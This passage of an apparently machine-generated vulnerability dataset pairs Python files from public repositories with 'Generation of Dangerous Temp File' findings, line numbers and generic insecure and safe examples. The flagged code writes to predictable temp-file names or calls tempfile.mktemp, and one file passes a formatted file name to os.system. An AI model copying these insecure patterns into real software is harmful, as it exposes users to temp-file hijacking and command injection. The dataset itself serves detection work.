at this point ***\n\n *** sample use of function\n\n os.environ[\"GOOGLE_APPLICATION_CREDENTIALS\"] = '/Users/tiffanyshi/Desktop/waymo-2d-object-detection-9ea7bd3b9e0b.json'\n root_dir = '/Users/tiffanyshi/PycharmProjects/329swaymoproject/herbie-vision/'\n tests = ['train/annotations/2019-05-22/11940460932056521663_1760_000_1780_000.json',\n 'test/annotations/2019-06-01/2942662230423855469_880_000_900_000.json']\n concatenateJSON(tests, root_dir, \"test\", \"tester.json\")\n\n \"\"\"\n\n return_file = \"tmpFile.json\"\n return_dict = {}\n for gcp_annotations_path in paths:\n\n f = open(mount_dir + gcp_annotations_path, 'r')\n data = json.load(f)\n\n if len(return_dict) == 0:\n for key in data.keys():\n if isinstance(data[key], list):\n return_dict[key] = data[key].copy()\n else:\n return_dict[key] = list([data[key]])\n f.close()\n continue\n for key in data.keys():\n if isinstance(data[key], list):\n return_dict[key].extend(data[key])\n else:\n return_dict[key].extend(list([data[key]]))\n f.close()\n\n with open(return_file, \"w\") as f:\n json.dump(return_dict, f)\n\n upload_blob(gcp_bucket, return_file, write_path)\n\n os.remove(return_file)", "dangerousExampleEn": "1. import os\n2. \n3. tmp = open(os.tmpnam(), mode='rw')\nLine 3: A temporary file is generated through os.tmpnam() function, an insecure API.", "safeExampleEn": "1. import tempfile\n2. \n3. tmp = tempfile.TemporaryFile()\nLine 3: Generate the temporary file through an secure method of tempfile module.", "contexts": [{"lineNo": 163, "eventType": "sink", "messageKey": "pythonchk.INSECURE_TEMPORARY_FILE.PYTHON.defect.badliteral", "params": {}}]}} {"id": "dd146f9aed673442f0dd90b63f4ae86d5bcfa240b40285b42fd0f01006c69eee", "license": {"spdx": ["Apache-2.0"], "repo": "HKUNLP/UnifiedSKG", "path": "metrics/webnlg_challenge_2017/evaluator.py", "repo_head_hexsha": "49a2ff950bb312b980c22ad72b11520db72ab6a3", "stack_hexsha": "9dd1ba713706e6ef1d43e6ee657d4e2bcd236bd6", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Generation of Dangerous Temp File", "issueDescriptionEn": "The Generation of Dangerous Temp File checker finds instances of generating a temporary file in an improper way.\nIf a temporary file is generated with a predictable name or to be accessible to an arbitrary program, it may allow attackers to manipulate the file for program malfunctions.\nIt is recommended to name temporary files unpredictably and make them accessible only by the executing program.", "issueLineNumber": 17, "entireCode": "# encoding=utf8\nimport os\n\nfrom third_party.dart import extract_score_webnlg\n\n\ndef evaluate_webnlg_challenge_2017(references_s, preds):\n \"\"\"\n The evaluation of the webnlg_challenge_2017,\n we use the evaluate shell that DART dataset provided.\n :param references_s: ACTUALLY, references in webnlg are of no use.\n :param preds:\n :return:\n \"\"\"\n\n tmp_file_name = 'webnlg_challenge_2017_tmp4eval.txt'\n with open(tmp_file_name, 'w') as tmp_file:\n for pred in preds:\n print(pred, file=tmp_file)\n\n os.system(\"bash utils/process/general/dart_lib/run_eval_on_webnlg.sh \"\n \"{}\".format(tmp_file_name))\n\n summary = extract_score_webnlg()\n\n return summary\n\n\nclass EvaluateTool(object):\n def __init__(self, args):\n self.args = args\n\n def evaluate(self, preds, golds, section):\n references_s = [item[\"references\"] for item in golds]\n\n assert len(preds) == len(references_s)\n\n summary = evaluate_webnlg_challenge_2017(references_s, preds)\n\n return summary", "dangerousExampleEn": "1. import os\n2. \n3. tmp = open(os.tmpnam(), mode='rw')\nLine 3: A temporary file is generated through os.tmpnam() function, an insecure API.", "safeExampleEn": "1. import tempfile\n2. \n3. tmp = tempfile.TemporaryFile()\nLine 3: Generate the temporary file through an secure method of tempfile module.", "contexts": [{"lineNo": 17, "eventType": "sink", "messageKey": "pythonchk.INSECURE_TEMPORARY_FILE.PYTHON.defect.badliteral", "params": {}}]}} {"id": "9759f01ed2580e0bf9144abdf5e9d8c5909cfbcedb672858b502eb1e7e48ab20", "license": {"spdx": ["MIT"], "repo": "Edinburgh-Genome-Foundry/Geneblocks", "path": "geneblocks/CommonBlocks/commonblocks_tools.py", "repo_head_hexsha": "87a8df33fab2295e357884fa2742d3e03e98d9a5", "stack_hexsha": "fef17389d2a33a401af2d95987bc60f31ca0435d", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Generation of Dangerous Temp File", "issueDescriptionEn": "The Generation of Dangerous Temp File checker finds instances of generating a temporary file in an improper way.\nIf a temporary file is generated with a predictable name or to be accessible to an arbitrary program, it may allow attackers to manipulate the file for program malfunctions.\nIt is recommended to name temporary files unpredictably and make them accessible only by the executing program.", "issueLineNumber": 125, "entireCode": "\"\"\"Algorithmic methods for the selection of common blocks in DiffBlocks\n\n- select_common_blocks\n -\n - segments_difference\n\"\"\"\n\nimport re\nimport tempfile\nimport subprocess\nfrom collections import defaultdict, OrderedDict\n\nimport numpy as np\nfrom ..biotools import reverse_complement, sequence_to_record\n\n\ndef format_sequences_as_dicts(sequences):\n \"\"\"Standardize different formats into a single one.\n\n\n The ``sequences`` can be either:\n - A list [('sequence_id', 'ATGC...'), ('sequence_2', ...)]\n - A list of Biopython records (all with different IDs)\n - A dict {'sequence_id': \"ATGC...\"}\n - A dict {'sequence_id': biopython_record}\n\n The output is a tuple (sequences_dict, records_dict), where\n - sequences_dict is of the form {'sequence_id': 'ATGC...'}\n - sequences_dict is of the form {'sequence_id': 'ATGC...'}\n \"\"\"\n if isinstance(sequences, (list, tuple)):\n if hasattr(sequences[0], \"seq\"):\n # SEQUENCES = LIST OF RECORDS\n records_dict = OrderedDict([(record.id, record) for record in sequences])\n sequences_dict = OrderedDict(\n [(record.id, str(record.seq).upper()) for record in sequences]\n )\n else:\n # SEQUENCES = LIST OF ATGC STRINGS\n sequences_dict = OrderedDict(sequences)\n if isinstance(list(sequences_dict.values())[0], str):\n records_dict = OrderedDict(\n [\n (name, sequence_to_record(seq, name=name))\n for name, seq in sequences_dict.items()\n ]\n )\n else:\n records_dict = sequences\n elif hasattr(list(sequences.values())[0], \"seq\"):\n # SEQUENCES = DICT {SEQ_ID: RECORD}\n records_dict = OrderedDict(sorted(sequences.items()))\n sequences_dict = OrderedDict(\n [\n (record_id, str(record.seq).upper())\n for record_id, record in sequences.items()\n ]\n )\n else:\n # SEQUENCES = DICT {SEQ_ID: ATGC}\n sequences_dict = OrderedDict(sorted(sequences.items()))\n records_dict = OrderedDict(\n [\n (name, sequence_to_record(seq, name=name))\n for name, seq in sequences.items()\n ]\n )\n return sequences_dict, records_dict\n\n\ndef segments_difference(segment, subtracted):\n \"\"\"Return the difference between segment (start, end) and subtracted.\n\n The result is a list containing either zero, one, or two segments of the\n form (start, end).\n\n Examples\n --------\n\n >>> segment=(10, 100), subtracted=(0, 85) => [(85, 100)]\n >>> segment=(10, 100), subtracted=(40, 125) => [(10, 40)]\n >>> segment=(10, 100), subtracted=(30, 55) => [(10, 30), (55, 100)]\n >>> segment=(10, 100), subtracted=(0, 150) => []\n \"\"\"\n seg_start, seg_end = segment\n sub_start, sub_end = subtracted\n result = []\n if sub_start > seg_start:\n result.append((seg_start, min(sub_start, seg_end)))\n if sub_end < seg_end:\n result.append((max(seg_start, sub_end), seg_end))\n return sorted(list(set(result)))\n\n\ndef find_homologies_between_sequences(\n sequences, min_size=0, max_size=None, include_self_homologies=True\n):\n \"\"\"Return a dict listing the locations of all homologies between sequences.\n\n The result is a dict of the form below, where the sequence identifiers\n are used as keys.\n\n >>> {\n >>> 'seq_1': {\n >>> (start1, end1): [('seq2_5', _start, _end), ('seq_3', )...]\n >>> (start2, end2): ...\n >>> }\n >>> }\n\n Parameters\n ----------\n\n sequences\n A dict {'sequence_id': 'ATTGTGCAG...'}.\n\n min_size, max_size\n Minimum and maximum size outside which homologies will be ignored.\n\n include_self_homologies\n If False, self-homologies will be removed from the list.\n \"\"\"\n\n # BLAST THE SEQUENCES USING NCBI-BLAST\n\n temp_fasta_path = tempfile.mktemp(\".fa\")\n\n with open(temp_fasta_path, \"w+\") as f:\n f.write(\n \"\\n\\n\".join(\n [\"> %s\\n%s\" % (name, seq.upper()) for name, seq in sequences.items()]\n )\n )\n proc = subprocess.Popen(\n [\n \"blastn\",\n \"-query\",\n temp_fasta_path,\n \"-subject\",\n temp_fasta_path,\n \"-perc_identity\",\n \"100\",\n \"-dust\",\n \"no\",\n \"-evalue\",\n \"1000000000000000\",\n \"-culling_limit\",\n \"10\",\n \"-ungapped\",\n \"-outfmt\",\n \"6 qseqid qstart qend sseqid sstart send\",\n ],\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n )\n result, __blast_err = proc.communicate()\n\n # PARSE THE RESULT FROM BLAST\n\n parsing = [line.split(\"\\t\") for line in result.decode(\"utf-8\").splitlines()]\n homologies = {name: defaultdict(lambda *a: []) for name, seq in sequences.items()}\n\n # FILTER THE RESULTS (MIN_SIZE, MAX_SIZE, SELF-HOMOLOGIES)\n\n for query, qstart, qend, subject, sstart, send in parsing:\n is_self_homology = (query == subject) and (qstart != sstart)\n if is_self_homology and (not include_self_homologies):\n continue\n qstart, qend = int(qstart) - 1, int(qend)\n sstart, send = int(sstart) - 1, int(send)\n if qend - qstart < min_size:\n continue\n if (max_size is not None) and (qend - qstart > max_size):\n continue\n location = (subject, sstart, send)\n homologies[query][(qstart, qend)].append(location)\n return homologies\n\n\ndef count_homologies(matches, min_size):\n \"\"\"Return a dict {(start, end): number_of_homologies_count}.\n \"\"\"\n homologies_counts = {}\n if len(matches) == 1:\n segment = list(matches.keys())[0]\n homologies_counts[segment] = 1\n matches_list = sorted(matches.keys())\n for i, match1 in enumerate(matches_list):\n for match2 in matches_list[i + 1 :]:\n segment = start, end = (match2[0], min(match1[1], match2[1]))\n if end < start:\n # The segment is empty, match1 and match2 as disjunct.\n break\n elif (end - start > min_size) and (segment not in homologies_counts):\n homologies_counts[segment] = len(\n [\n matching\n for (match_start, match_end) in matches_list\n for matching in matches[(match_start, match_end)]\n if match_start <= start <= end <= match_end\n ]\n )\n return homologies_counts\n\n\ndef segment_with_most_homologies(homologies_counts, method=\"most_coverage_first\"):\n \"\"\"Select the \"best\" segment, that should be selected next as a common\n block.\"\"\"\n\n def segment_score(segment):\n if method == \"most_coverage_first\":\n factor = homologies_counts[segment]\n else:\n factor = 1\n start, end = segment\n return factor * (end - start)\n\n return max(\n [(0, (None, None))]\n + [(segment_score(segment), segment) for segment in homologies_counts]\n )\n\n\ndef select_common_blocks(\n homologies, sequences, min_size=0, method=\"most_coverage_first\"\n):\n \"\"\"Select a collection of the largest common blocks, iteratively.\"\"\"\n common_blocks = []\n homologies_counts = {\n seqname: count_homologies(matches=homologies[seqname], min_size=min_size)\n for seqname in sequences\n }\n\n # ITERATIVELY SELECT A COMMON BLOCK AND REMOVE THAT BLOCK FROM THE\n # homologies IN VARIOUS SEQUENCES, UNTIL THERE IS NO HOMOLOGY\n\n while True:\n\n # FIND THE HOMOLOGY WITH THE BEST OVERALL SCORE ACROSS ALL SEQS\n\n (best_score, (start, end)), seqname = max(\n [\n (\n segment_with_most_homologies(\n homologies_counts[seqname], method=method\n ),\n seqname,\n )\n for seqname in sequences\n ]\n )\n\n # IF NO HOMOLOGY WAS FOUND AT ALL, STOP\n\n if best_score == 0:\n break\n\n # FIND WHERE THE SELECTED SUBSEQUENCE APPEARS IN OTHER SEQUENCES.\n # AT EACH LOCATION, \"EXTRUDE\" THE SUBSEQUENCE FROM THE CURRENT\n # LOCATIONS IN homologies_counts\n\n best_subsequence = sequences[seqname][start:end]\n locations = []\n for seqname, sequence in sequences.items():\n seq_n_intersections = homologies_counts[seqname]\n\n # we look for both the subsequence and its reverse complement:\n for strand in [1, -1]:\n if strand == 1:\n matches = re.finditer(best_subsequence, sequence)\n else:\n matches = re.finditer(\n reverse_complement(best_subsequence), sequence\n )\n for match in matches:\n\n # add the location to the list for this subsequence...\n start, end = match.start(), match.end()\n locations.append((seqname, (start, end, strand)))\n\n # ...then subtract the location from the sequence's\n # homologies list\n match_as_segment = tuple(sorted([start, end]))\n for intersection in list(seq_n_intersections.keys()):\n score = seq_n_intersections.pop(intersection)\n for diff in segments_difference(intersection, match_as_segment):\n diff_start, diff_end = diff\n if diff_end - diff_start > min_size:\n seq_n_intersections[diff] = score\n common_blocks.append((best_subsequence, locations))\n\n # REMOVE SELF-HOMOLOGOUS SEQUENCES\n\n common_blocks = [\n (seq, locations) for (seq, locations) in common_blocks if len(locations) >= 2\n ]\n\n # CREATE THE FINAL COMMON_BLOCKS_DICT\n\n common_blocks_dict = OrderedDict()\n if len(common_blocks) > 0:\n number_size = int(np.log10(len(common_blocks))) + 1\n for i, (sequence, locations) in enumerate(common_blocks):\n block_name = \"block_%s\" % (str(i + 1).zfill(number_size))\n common_blocks_dict[block_name] = {\n \"sequence\": sequence,\n \"locations\": locations,\n }\n\n return common_blocks_dict", "dangerousExampleEn": "1. import os\n2. \n3. tmp = open(os.tmpnam(), mode='rw')\nLine 3: A temporary file is generated through os.tmpnam() function, an insecure API.", "safeExampleEn": "1. import tempfile\n2. \n3. tmp = tempfile.TemporaryFile()\nLine 3: Generate the temporary file through an secure method of tempfile module.", "contexts": [{"lineNo": 125, "eventType": "sink", "messageKey": "pythonchk.INSECURE_TEMPORARY_FILE.PYTHON.defect.badlib", "params": {"arg0": "tempfile.mktemp"}}]}} {"id": "045727440dfbdb3af03bd0866a7babe949989ed45bcde0dea3f0082743120292", "license": {"spdx": ["MIT"], "repo": "BatSec/Project-Butler", "path": "medusa.py", "repo_head_hexsha": "a50a23ccdd5c6d9eefb9cbdda653140665176720", "stack_hexsha": "b08b5ab7640e6dfea914d50710422db52698fddb", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Generation of Dangerous Temp File", "issueDescriptionEn": "The Generation of Dangerous Temp File checker finds instances of generating a temporary file in an improper way.\nIf a temporary file is generated with a predictable name or to be accessible to an arbitrary program, it may allow attackers to manipulate the file for program malfunctions.\nIt is recommended to name temporary files unpredictably and make them accessible only by the executing program.", "issueLineNumber": 21, "entireCode": "import vlc\nimport time\nimport io\nimport os\nfrom tkinter import *\nfrom tinytag import TinyTag, TinyTagException\nfrom PIL import Image, ImageTk\n\n\nclass check:\n i = 0\n mname = ''\n song = 1\n goto = 0\n\n def main(self):\n # change to \\ for windows\n temp_track = TinyTag.get(\"/home/lowkey/temp/medusa/Music\" + \"/\" + str(c.song) + \".mp3\", image=True)\n print(\"Now Playing:\", temp_track.title)\n pic = temp_track.get_image()\n f1 = open(\"/home/lowkey/temp/medusa/temp.jpg\", \"wb\")\n f1.write(pic)\n c.mname = temp_track.title\n\n\nclass root:\n def __init__(self):\n # change to \\ for windows\n sound_file = vlc.MediaPlayer(\"/home/lowkey/temp/medusa/Music\" + \"/\" + str(c.song) + \".mp3\")\n c.main()\n c.goto = 1\n self.root = Tk()\n self.root.title(\"Medusa\")\n self.root.geometry(\"420x500\")\n playimg = PhotoImage(file=\"/home/lowkey/temp/medusa/play.png\")\n img = Image.open(\"/home/lowkey/temp/medusa/temp.jpg\")\n img = img.resize((300, 300), Image.ANTIALIAS)\n img.save(\"/home/lowkey/temp/medusa/temp.jpg\")\n img = ImageTk.PhotoImage(Image.open(\"/home/lowkey/temp/medusa/temp.jpg\"))\n lpic = Label(self.root, image=img)\n self.play(c.i, sound_file)\n BtPlay = Button(self.root, image=playimg, command=lambda: self.play(c.i,sound_file))\n BtNext = Button(self.root, text=\"Next\", command=lambda: self.next(sound_file))\n BtPrev = Button(self.root, text=\"Prev\", command=lambda: self.prev(sound_file))\n BtTrev = Button(self.root, text=\"Show PlayList\", command= lambda: os.system('python3 /home/lowkey/temp/medusa/treverse_songs.py'))\n mname = Label(self.root, text=c.mname)\n space = Label(self.root, text=' ')\n space2 = Label(self.root, text=' ')\n space3 = Label(self.root, text=' ')\n lpic.grid(row=0, column=1)\n space.grid(row=1)\n mname.grid(row=2, column=1)\n space2.grid(row=3)\n BtPlay.grid(row=4, column=1)\n BtNext.grid(row=4, column=2)\n BtPrev.grid(row=4, column=0)\n space3.grid(row=5)\n BtTrev.grid(row=7, column=1)\n self.root.mainloop()\n\n def play(self, check, sound_file):\n if check == 0:\n sound_file.play()\n c.i = 1\n else:\n self.pause(sound_file)\n\n def pause(self, sound_file):\n sound_file.pause()\n print(\"Paused\")\n c.i = 0\n\n def next(self, sound_file):\n self.pause(sound_file)\n c.song += 1\n c.goto = 0\n self.root.destroy()\n\n def prev(self, sound_file):\n self.pause(sound_file)\n if c.song != 1:\n c.song -= 1\n c.goto = 0\n self.root.destroy()\n\n\n # main function\nc = check()\nwhile c.goto < 1:\n r = root()\nprint(\"Finished Playing\") ", "dangerousExampleEn": "1. import os\n2. \n3. tmp = open(os.tmpnam(), mode='rw')\nLine 3: A temporary file is generated through os.tmpnam() function, an insecure API.", "safeExampleEn": "1. import tempfile\n2. \n3. tmp = tempfile.TemporaryFile()\nLine 3: Generate the temporary file through an secure method of tempfile module.", "contexts": [{"lineNo": 21, "eventType": "sink", "messageKey": "pythonchk.INSECURE_TEMPORARY_FILE.PYTHON.defect.badliteral", "params": {}}]}} {"id": "6dbf794ee3b9c715de9c6c1f9df03c171fc97bbd92a282fdb68dfcc732c8d76f", "license": {"spdx": ["MIT"], "repo": "jimbo1qaz/loopplayer", "path": "loopify.py", "repo_head_hexsha": "45447ba97420ef0c38ff72223f912d8e183f2580", "stack_hexsha": "238fadba2a4d5a3fc0c0064a5aa442b19f6176a0", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Generation of Dangerous Temp File", "issueDescriptionEn": "The Generation of Dangerous Temp File checker finds instances of generating a temporary file in an improper way.\nIf a temporary file is generated with a predictable name or to be accessible to an arbitrary program, it may allow attackers to manipulate the file for program malfunctions.\nIt is recommended to name temporary files unpredictably and make them accessible only by the executing program.", "issueLineNumber": 210, "entireCode": "#!/usr/bin/env python3\n\n\"\"\"\nloopify 1x.wav 2x.wav out.wav\n-> out.$rate.$start.$stop.wav\n\nlooped section: [start, stop)\nstop = # of samples\n\nChanged: Output length no longer exceeds 1x length. (previously by 2 seconds)\nTo properly capture decay or reverb, extend both 1x and 2x by the same amount.\nFor help, see function get_loop_data.\n\"\"\"\n\nimport os\n\nimport math\n\n\ndef path_append(*it):\n for el in it:\n os.environ['PATH'] += os.pathsep + el\n\n\npath_append(os.curdir, r'C:\\Program Files (x86)\\sox-14-4-2')\n\nfrom plumbum import BG, FG, local as pb, cli\n\nassert BG, FG\n\nSOXI = pb['sox']['--i']\nSOX = pb['sox']\nFFMPEG = pb['ffmpeg']\n\n\ndef skip_spaces(in_str, index, character=None):\n \"\"\"\n @type in_str: str\n @type index: int\n \"\"\"\n\n if index < 0:\n raise ValueError('cannot exclude negative substring')\n\n splitted = in_str.split(sep=character, maxsplit=index)\n if index < len(splitted):\n return splitted[index]\n return ''\n\n\ndef keep_leading(in_str, index, character=None):\n if index < 0: raise ValueError('cannot get negative substring')\n if index == 0: return ''\n\n num_items = len(in_str.split(character))\n if index >= num_items: return in_str\n\n # wtf pep8\n return in_str.rsplit(sep=character, maxsplit=num_items - index)[0]\n\n\ndef expand(s, *args):\n formatted = s % args\n return [sub.replace('~', ' ') for sub in formatted.split()]\n\n\n# **** loopify util\n\ndef get_len(wavname):\n return int(SOXI['-s', wavname]())\n\n\ndef get_rate(wavname):\n return int(SOXI['-r', wavname]())\n\n\ndef get_base_ext(filename):\n rev = filename[::-1]\n base = skip_spaces(rev, 1, '.')[::-1]\n ext = keep_leading(rev, 1, '.')[::-1]\n return base, ext\n\n\ndef smp(n):\n return '=%ss' % n\n\n\n\nclass Looper:\n def get_loop_overlap(self, sample_rate):\n # if LOOP_SECONDS:\n # return self.sample_rate * LOOP_SECONDS\n # else:\n # return LOOP_SAMPLES\n return sample_rate * self.LOOP_SECONDS\n\n def get_loop_data(self):\n \"\"\" Initializes and returns sample_rate, loopStart, and loopEnd. \"\"\"\n # --LoooopLoooop\n # a b\n # start end\n sample_rate = get_rate(self.x1name)\n\n a = get_len(self.x1name)\n b = get_len(self.x2name)\n\n loop_len = b - a\n\n overlap = self.get_loop_overlap(sample_rate)\n\n loopStart = a - loop_len + overlap\n loopEnd = a + overlap\n\n return [sample_rate, loopStart, loopEnd]\n\n def generate_out_base(self, loopdata):\n return '.'.join([self.title] + [str(s) for s in loopdata])\n\n def generate_outname(self, ext):\n return self.out_base + ext\n\n\n def __init__(self, x1name, x2name, title, padding):\n self.x1name = x1name\n self.x2name = x2name\n self.title = title\n\n self.LOOP_SECONDS = padding\n # self.LOOP_SAMPLES = 0\n\n\n loopdata = self.get_loop_data()\n [self.sample_rate, self.loopStart, self.loopEnd] = loopdata\n self.loop_len = self.loopEnd - self.loopStart\n\n # We want to loop the original (x2) file.\n # Out base = \"title.rate.begin.end\" plus whatever file format.\n # Out wav = \"title.rate.begin.end.wav\".\n\n self.out_base = self.generate_out_base(loopdata)\n self.wav = self.generate_outname('.wav')\n\n\n def loopify(self, compress=True):\n\n samples = self.loopEnd\n orig = self.x2name\n\n # BUG: Firefox currently doesn't support 24-bit WAV.\n # https://bugzilla.mozilla.org/show_bug.cgi?id=864780\n # TODO: Firefox bug is resolved. Should we use 24?\n args = ['trim', '0s', smp(samples)]\n SOX[orig, '-b', '16', self.wav][args] & FG\n\n # Convert to Ogg.\n # BUG: Chrome currently doesn't support WebAudio Opus.\n # https://bugs.chromium.org/p/chromium/issues/detail?id=482934\n # Oh, and sox also doesn't support opus.\n\n if compress:\n ogg = self.generate_outname('.ogg')\n logg = self.generate_outname('.logg')\n\n # Ogg Vorbis VBR\n # -1=bad, 10=good, default=3 (112kbps)\n # we use 6 ~= 192kbps\n\n SOX[orig, '-C', '6',\n '--add-comment', 'LOOP_START=%s' % self.loopStart,\n '--add-comment', 'LOOP_END=%s' % self.loopEnd,\n ogg][args] & FG\n\n os.rename(ogg, logg)\n\n\n def extend(self, total_seconds, fadeout=30, extension='opus', codec='', curve='squ'):\n \"\"\"\n assemble an extended sound file using \"intro_loop\" and \"loop_only\".\n `codec` is split and passed as an argument. It can be used for\n codec selection/configuration/bitrate.\n `curve` is the fadeout curve. 'squ' is linear-power. 'ipar' is very subtle.\n \"\"\"\n\n intro_loop = self.wav\n loop_only = self.title + '-loop.wav'\n\n # **** Generate looped section only.\n SOX[intro_loop, loop_only, 'trim',\n smp(self.loopStart),\n smp(self.loopEnd)\n ] & FG\n\n\n # **** Calculate loop count.\n\n # loopEnd + n*loop_len >= total samples\n # n = ceil((total_samples - loopend) / loop_len)\n # add 1 for luck\n\n total_samples = total_seconds * self.sample_rate\n n = math.ceil(\n (total_samples - self.loopEnd) / self.loop_len\n ) + 1\n\n\n # **** Tell FFmpeg to: intro_loop, repeat(loop_only).\n\n CAT_TXT = 'temp-extend.txt'\n\n with open(CAT_TXT, 'w') as file:\n FORMAT = \"file '%s'\\n\"\n file.write(FORMAT % intro_loop)\n for i in range(n):\n file.write(FORMAT % loop_only)\n\n\n # **** Use FFmpeg to loop audio. COMPRESSION IS CALLER-DETERMINED.\n\n extended = self.title + '-extend.' + extension\n\n # Documentation:\n # https://trac.ffmpeg.org/wiki/CompilationGuide/Ubuntu\n # https://trac.ffmpeg.org/wiki/Encode/AAC\n # https://www.ffmpeg.org/ffmpeg-codecs.html\n\n FFMPEG[expand(\n '-loglevel warning -hide_banner -y '\n '-t %s -f concat -i %s ' # Concatenate intro_loop and loop_only.\n '-t %s '\n ,\n total_seconds, CAT_TXT, total_seconds # FIXME why total_seconds twice?\n # FIXME ffmpeg lacks AAC length field?\n # TODO is m4a fixed?\n )][\n '-af', 'afade = t=out: st=%s: d=%s: curve=%s'\n % (total_seconds - fadeout, fadeout, curve)\n ][codec.split()\n ][extended] & FG\n\n\n\nclass LooperApp(cli.Application):\n extend = cli.Flag([\"-e\", \"--extend\"], help=\"Extend the file, as well as looping.\")\n extend_only = cli.Flag([\"-E\", \"--extend-only\"], help=\"Extend the file, and skip logg file compression.\")\n\n def main(self, x1name, x2name, outname, padding=0):\n padding = int(padding)\n looper = Looper(x1name, x2name, outname, padding)\n\n compress = True\n if self.extend_only:\n compress = False\n\n looper.loopify(compress=compress)\n\n if self.extend or self.extend_only:\n looper.extend(1800, extension='m4a', codec='-c:a libfdk_aac -cutoff 20000 -vbr 5')\n # \"Note, the VBR setting is unsupported and only works with some parameter combinations\"\n # https://hydrogenaud.io/index.php/topic,95989.msg817833.html#msg817833\n\n\nif __name__ == '__main__':\n LooperApp.run()", "dangerousExampleEn": "1. import os\n2. \n3. tmp = open(os.tmpnam(), mode='rw')\nLine 3: A temporary file is generated through os.tmpnam() function, an insecure API.", "safeExampleEn": "1. import tempfile\n2. \n3. tmp = tempfile.TemporaryFile()\nLine 3: Generate the temporary file through an secure method of tempfile module.", "contexts": [{"lineNo": 210, "eventType": "sink", "messageKey": "pythonchk.INSECURE_TEMPORARY_FILE.PYTHON.defect.badliteral", "params": {}}]}} {"id": "23d9a3a747177c4c0caf146d8a00d52eb4f9b39184654ad71a0376d69a86bc47", "license": {"spdx": ["MIT"], "repo": "taijizuomantou/aspect_3", "path": "data_stastic/generate_new_data.py", "repo_head_hexsha": "d1026e6ef5d86165ccb4454a3f205e39b6c59b15", "stack_hexsha": "dee44853a22e2bca39f5b8640abcae22c258bf85", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Generation of Dangerous Temp File", "issueDescriptionEn": "The Generation of Dangerous Temp File checker finds instances of generating a temporary file in an improper way.\nIf a temporary file is generated with a predictable name or to be accessible to an arbitrary program, it may allow attackers to manipulate the file for program malfunctions.\nIt is recommended to name temporary files unpredictably and make them accessible only by the executing program.", "issueLineNumber": 14, "entireCode": "import csv\nimport en_core_web_sm\n\ndef read_csv(input_file):\n with open(input_file, \"r\") as f:\n reader = csv.reader(f, delimiter=\"\\t\")\n lines = []\n for line in reader:\n lines.append(line)\n return lines\ninput_file = \"../data/semeval2014/bert-pair/test_NLI_M.csv\"\noutput_file = \"multi_test_NLI_M2.csv\"\nf = open(output_file,\"w\")\nf2 = open(\"temp2.txt\",\"w\")\n#f3 = open(\"temp3.txt\",\"w\")\n#f4 = open(\"temp4.txt\",\"w\")\n#nlp = en_core_web_sm.load()\n##f.write(\"id\\tsentence1\\tsentence2\\tlabel\\n\")\nlines = read_csv(input_file)\n#ans = 0\n#for i in range(int(len(lines) / 5)):\n# # i = 12\n# text = lines[i*5][3]\n# f4.write(text)\n# f4.write(\"\\n\")\n# docs = nlp(text.lower())\n# count = 0\n# temp = []\n# for item in docs.noun_chunks:\n# count += 1\n# # print(item.text)\n# temp.append(item)\n# \n# if count >= 0:ans += 1\n# \n# for idd in temp:\n# #print(idd)\n# text = nlp(str(idd))\n# flag = False\n# \n# for item in text:\n# if item.tag_ != 'PRP':\n# flag = True\n# break\n# if str(idd) == \"us\" or str(idd) == \"that\":flag = False\n# # flag = True\n# if flag == True:\n# f3.write(str(idd))\n# f3.write(\" \" )\n# #f3.write(text)\n# f3.write(\"\\n\")\n# # break\n#print(ans)\nans = 0\nwhole = 0\nlength = len(lines) / 5\nfor i in range(int(length)):\n count = 0\n for j in range(5):\n if lines[i*5+j][1] != \"none\":count += 1\n if count <= 1:\n for j in range(5):\n for item in lines[i * 5 + j]:\n f.write(str(item))\n f.write(\"\\t\")\n f.write(\"\\n\")\n f2.write(str(lines[i*5][3]))\n f2.write(\"\\n\")\n if count > 1:ans += 1\n whole += 1\nprint(ans)\nprint(whole)", "dangerousExampleEn": "1. import os\n2. \n3. tmp = open(os.tmpnam(), mode='rw')\nLine 3: A temporary file is generated through os.tmpnam() function, an insecure API.", "safeExampleEn": "1. import tempfile\n2. \n3. tmp = tempfile.TemporaryFile()\nLine 3: Generate the temporary file through an secure method of tempfile module.", "contexts": [{"lineNo": 14, "eventType": "sink", "messageKey": "pythonchk.INSECURE_TEMPORARY_FILE.PYTHON.defect.badliteral", "params": {}}]}} {"id": "7443f743c090345e25fad01b848e50b93ffcef9cb976a11eb7af4d5d29196622", "license": {"spdx": ["MIT"], "repo": "mass-project/mass_ct_crawler", "path": "ct_crawler/crawler.py", "repo_head_hexsha": "867755586695efa645b02f62db43bec43eda2190", "stack_hexsha": "df96bf67d3430032e01cca9b0e1dc72b79dd9265", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Generation of Dangerous Temp File", "issueDescriptionEn": "The Generation of Dangerous Temp File checker finds instances of generating a temporary file in an improper way.\nIf a temporary file is generated with a predictable name or to be accessible to an arbitrary program, it may allow attackers to manipulate the file for program malfunctions.\nIt is recommended to name temporary files unpredictably and make them accessible only by the executing program.", "issueLineNumber": 80, "entireCode": "import argparse\nimport asyncio\nimport base64\nimport configparser\nimport locale\nimport logging\nimport os\nimport time\nimport traceback\nfrom collections import deque\n\nimport aiohttp\nimport aioprocessing\n# from ct_crawler import certlib\nimport certlib\nimport mass_api_client as mac\nimport requests\nfrom OpenSSL import crypto\nfrom mass_api_client.resources import *\nfrom mass_api_client.utils import get_or_create_analysis_system_instance\n\ntry:\n locale.setlocale(locale.LC_ALL, 'en_US.utf8')\nexcept locale.Error:\n print('LOCALE FAIL')\n pass\n\nDOWNLOAD_QUEUE_SIZE = 40\nMASS_QUEUE_SIZE = 24\n\n\nasync def mass_worker(parse_results_queue, mass_concurrency):\n process_pool = aioprocessing.AioPool()\n await process_pool.coro_map(mass, [parse_results_queue for _ in range(mass_concurrency)])\n process_pool.close()\n await process_pool.coro_join()\n\n\ndef mass(queue):\n anal_system_instance = get_or_create_analysis_system_instance(identifier='crawl',\n verbose_name='ct_crawler',\n tag_filter_exp='sample-type:domainsample',\n )\n while True:\n entries = queue.get()\n if entries is None:\n 